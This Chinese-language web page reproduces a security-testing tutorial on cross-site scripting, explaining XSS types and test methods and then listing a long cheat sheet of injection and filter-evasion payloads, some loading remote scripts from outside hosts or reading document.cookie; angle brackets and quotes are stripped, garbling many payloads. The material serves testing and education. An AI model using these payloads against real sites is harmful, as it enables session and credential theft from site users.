尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
安全测试|XSS攻击实例
XSS全称是Cross Site Scripting即跨站脚本当目标网站目标用户浏览器渲染HTML文档的过程中出现了不被预期的脚本指令并执行时XSS就发生了。1XSS攻击原理XSS攻击通常指的是通过利用 网页 开发时留下的漏洞通过巧妙的方法注入恶意指令代码到网页使用户加载并执行攻击者恶意制造的网页程序。 这些恶意网页程序通常是JavaScript但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后攻击者可能得到包括但不限于更高的权限如执行一些操作、私密网页内容、会话和cookie等各种内容。2XSS能做什么窃取用户Cookie后台增删改文章XSS钓鱼攻击利用XSS漏洞进行传播和修改网页代码XSS蠕虫攻击网站重定向获取键盘记录获取用户信息等3XSS攻击分类第一种反射型页面仅把用户输入直接回显在页面或源码中需要诱使用户点击才能成功。第二种持久型XSS 攻击代码会被存储在服务器中由于用户可能会主动浏览被攻击页面此种方法危害较大。第三种DOM 型( DOM Based XSS )通过修改页面的 DOM 节点形成 XSS严格来讲也可划为反射型 XSS。4XSS三种途径第一种对普通的用户输入页面原样输出用户通过对JSCODE的伪装经过一些操作就会跳出一个木马界面取得登录用户的Cookie.第二种在代码区里有用户输入的内容原则就是代码区中绝对不应含有用户输入的东西。第三种允许用户输入HTML标签的页面。用户可以提交一些自定义的HTML代码这种情况是最危险的。因为IE浏览器默认采用的是UNICODE编码HTML编码可以用#ASCII方式来写又可以使用”/”连接16进制字符串来写使得过滤变得异常复杂如下面的四个例子都可以在IE中运行。5XSS攻击常见case1scriptalert(XSS)/script //简单弹框 2ScRiPtAlErt(XSS)/ScRiPt //过滤了大小 3img src# onerroralert(XSS) //img 标签 进行绕过 4javascript:alert(xss) //使用 Javascript 的尾协议 5 onclick alert(xss) //利用 href 属性值来进行xss6XSS测试方法1)查看代码查找关键的变量, 客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单以及cookie. 例如在ASP的程序中通过Request对象获取客户端的变量​​​​​​​% strUserCode Request.QueryString(“code”); strUser Request.Form(“USER”); strID Request.Cookies(“ID”); %假如变量没有经过htmlEncode处理 那么这个变量就存在一个XSS漏洞2)准备测试脚本​​​​​​​/scriptalert(document.cookie)/script!-- scriptalert(document.cookie)/script!-- onclickalert(document.cookie)在网页中的Textbox或者其他能输入数据的地方输入这些测试脚本 看能不能弹出对话框能弹出的话说明存在XSS漏洞;在URL中查看有那些变量通过URL把值传给Web服务器 把这些变量的值退换成我们的测试的脚本, 然后看我们的脚本是否能执行。7 XSS注入常用语句​​​​​​​scriptalert(hellogaga!);/script //经典语句 img srcjavascript.:alert(XSS) scriptalert(XSS)/script table backgroundjavascript.:alert(([code])/table object typetext/html datajavascript.:alert(([code]);/object alert(XSS) scriptalert(document.cookie)/script scriptalert(document.cookie)/script scriptalert(document.cookie)/script scriptalert(vulnerable)/script s#99;riptalert(XSS)/script img srcjavas#99;ript:alert(XSS) %0a%0ascriptalert(\Vulnerable\)/script.jsp %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html scriptalert(Vulnerable)/script a.jsp/scriptalert(Vulnerable)/script scriptalert(Vulnerable)/script IMG SRCjavascript.:alert(XSS); IMG src/javascript.:alert(XSS) IMG src/JaVaScRiPt.:alert(XSS) IMG src/JaVaScRiPt.:alert(quot;XSSquot;) IMG SRCjav#x09;ascript.:alert(XSS); IMG SRCjav#x0A;ascript.:alert(XSS); IMG SRCjav#x0D;ascript.:alert(XSS); IMG src/java\0script.:alert(\XSS\);out IMG SRC javascript.:alert(XSS); SCRIPTa/XSS/alert(a.source)/SCRIPT BODY BACKGROUNDjavascript.:alert(XSS) BODY ONLOADalert(XSS) IMG DYNSRCjavascript.:alert(XSS) IMG LOWSRCjavascript.:alert(XSS) BGSOUND SRCjavascript.:alert(XSS); br size{alert(XSS)} LAYER SRChttp://xss.ha.ckers.org/a.js/layer LINK RELstylesheetHREFjavascript.:alert(XSS); IMG SRCvbscript.:msgbox(XSS) META. HTTP-EQUIVrefreshCONTENT0;urljavascript.:alert(XSS); IFRAME. src/javascript.:alert(XSS)/IFRAME FRAMESETFRAME. src/javascript.:alert(XSS)/FRAME/FRAMESET TABLE BACKGROUNDjavascript.:alert(XSS) DIV STYLEbackground-image: url(javascript.:alert(XSS)) DIV STYLEbehaviour: url(http://www.how-to-hack.org/exploit.html#39;); DIV STYLEwidth: expression(alert(XSS)); STYLEim\port\ja\vasc\ript:alert(XSS);/STYLE IMG STYLExss:expre\ssion(alert(XSS)) STYLE. TYPEtext/javascriptalert(XSS);/STYLE STYLE. TYPEtext/css.XSS{background-image:url(javascript.:alert(XSS));}/STYLEA CLASSXSS/A STYLE. typetext/cssBODY{background:url(javascript.:alert(XSS))}/STYLE BASE HREFjavascript.:alert(XSS);// getURL(javascript.:alert(XSS)) aget;bURL;cjavascript.:;dalert(XSS);;eval(abcd); XML SRCjavascript.:alert(XSS); BODY NLOADa();SCRIPTfunction a(){alert(XSS);}/SCRIPT SCRIPT. SRChttp://xss.ha.ckers.org/xss.jpg/SCRIPT IMG SRCjavascript.:alert(XSS) SCRIPT. aSRChttp://xss.ha.ckers.org/a.js/SCRIPT SCRIPT.SRChttp://xss.ha.ckers.org/a.js/SCRIPT SCRIPT. aSRChttp://xss.ha.ckers.org/a.js/SCRIPT SCRIPT.aSRChttp://xss.ha.ckers.org/a.js/SCRIPT SCRIPTdocument.write(SCRI);/SCRIPTPTSRChttp://xss.ha.ckers.org/a.js/SCRIPT A HREFhttp://www.gohttp://www.google.com/ogle.com/link/A
RELATED

相关推荐

企业如何选数字人直播软件?2026年主流产品横评与选型方案解读

企业如何选数字人直播软件?2026年主流产品横评与选型方案解读

选数字人直播软件,最怕花了钱却发现用不起来——克隆出来的形象不像自己、声音听着像机器人、功能看似很多但真正能用的没几个。市面上几十款产品,宣传页写得天花乱坠,实际用起来又是另一回事。我们今天就结合2026年对8款主流数字人直播软件的…

📅 2026/10/23 15:36:09
鸿蒙 ArkTS 实战:Journal Material Library 从创作记录到状态反馈完整解析

鸿蒙 ArkTS 实战:Journal Material Library 从创作记录到状态反馈完整解析

鸿蒙 ArkTS 实战:Journal Material Library 从创作记录到状态反馈完整解析 前言 Journal Material Library 是一个面向 创作管理与灵感记录 的鸿蒙 ArkTS 小应用。记录创作条目、站点信息和提醒备注,适合日常创作复盘。 本文基于 entry/src/main/ets/p…

📅 2026/10/6 22:01:16
鸿蒙 ArkTS 实战:Exhibition Checkin Album 从创作记录到状态反馈完整解析

鸿蒙 ArkTS 实战:Exhibition Checkin Album 从创作记录到状态反馈完整解析

鸿蒙 ArkTS 实战:Exhibition Checkin Album 从创作记录到状态反馈完整解析 前言 Exhibition Checkin Album 是一个面向 创作管理与灵感记录 的鸿蒙 ArkTS 小应用。记录创作条目、站点信息和提醒备注,适合日常创作复盘。 本文基于 entry/src/main/ets/p…

📅 2026/9/8 21:14:51
MORE NEWS

更多资讯

📰

2D 试衣间原型先拆边界:本地手势换装与 LLM 语义指令分别验证

“挥手换一件衣服”和“衣服贴合人体”不是同一个问题。前者可以是有限手势触发资源切换,后者需要人体定位、尺寸与遮挡处理。把两者混成一个 AI 试衣 Demo,容易让截图替代了能力说明。 这次只做可解释的 2D 原型 MediaPipe Hand Landmarker 返回手部关…

📰

Redis分布式锁+异步队列解决秒杀超卖实战

简介:面向高并发电商秒杀场景的Redis分布式锁实战示例,适合具备Spring Boot与Redis基础、希望理解抢单限流与库存一致性实现的Java开发者。内容围绕分布式锁加锁与释放、库存原子扣减、重复抢单与超卖防控、请求排队削峰及抢单结果状态返回等关键环节展开…

📰

TACACS+ Java客户端与服务端实现:从协议到运维审计

简介:这是一套基于Java实现的TACACS客户端与服务端源码资源,面向网络运维人员、Java开发者以及需要搭建AAA认证体系的工程师,帮助解决网络设备远程登录时的身份验证、授权和记账问题。压缩包共36个文件,整体约107KB,以…

📰

静态路由配置排错全攻略:下一跳与回程路由不再翻车

简介:这份课件为计算机网络课程“静态路由配置”实验配套教学PPT,针对高校网络工程、计算机等相关专业学生与授课教师,用于理解TCP/IP协议原理、IP地址分类与子网掩码计算,并掌握静态路由的基础配置方法。课件共1个pptx文件&#…

📰

基于Java的高校后勤报修系统:Spring Boot+Vue全栈设计与实现

简介:基于JavaWeb的高校后勤报修系统设计与实现文档,面向高校计算机专业毕业生、Java开发学习者及后勤信息化项目人员,针对传统人工报修管理效率低、数据处理滞后等问题,提供从需求分析、系统设计到功能测试的完整方案。文档以B/S…

📰

大模型推理优化:KV Cache原理、PagedAttention与GQA实战

1. 为什么每个搞大模型推理的人都绕不开 KV Cache如果你最近在折腾大模型本地部署,或者读过 vLLM、TensorRT-LLM、SGLang 这些推理框架的源码,一定见过KV Cache这个词。它不是什么新鲜概念,但绝对是决定推理速度和显存占用的头号选手。我第一…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬